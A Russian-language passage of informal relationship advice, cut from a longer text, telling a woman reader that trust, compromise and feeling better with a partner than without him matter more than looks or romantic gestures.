вы постоянно будете уступать друг другу часть себя, частичку за частичкой отгрызая свои холостяцкие привычки, это модное нынче слово «компромисс», так что гибкость — это тоже очень-очень важно. И вы будете принимать важные решения, вместе и по отдельности, решения, которые вполне способны изменить ваш текущий уклад жизни, так что без доверия — ну просто никак вообще. Задумайтесь, вот когда вам было 20, вы же ни о чем этом не думали, верно? Вам хотелось, чтобы он лихо подкатил к вам на супертачке, подарил цветы и красиво так поцеловал прямо в губы. И чтобы вы любовались его обалденно-прекрасными глазами и вообще были бы как на картинке. Так вот на самом деле все это не важно ни разу. Плевать, красивый он или нет, высокий или низкий, стройный или пухлый, краснобай или заика. Все, что вам от него нужно, — это осознание, что вот с этим человеком и в огонь, и в воду, и в медные трубы и что, когда он рядом, вам очень хорошо. И что БЕЗ него вам гора-а-а-а-аздо хреновее, чем С ним. И, я вас уверяю, когда вы обернетесь назад лет через 20, когда будете по-прежнему умиляться, измеряя его температуру и помогая писать завещание, хотя он всего лишь один раз чихнул, и когда вы перестанете вести наконец задушевные разговоры «А куда мы движемся», потому что вы УЖЕ пришли туда, куда вам нужно, вот это и будет любовь. Любовь — она заранее не просчитывается. Никогда. А все вот эти «сложные» отношения — ну блин, ну пойдите на курсы макраме, что ли. Или сиротам помогите. Оставьте свой бедный мозг в покое, у него и без вас забот полон рот.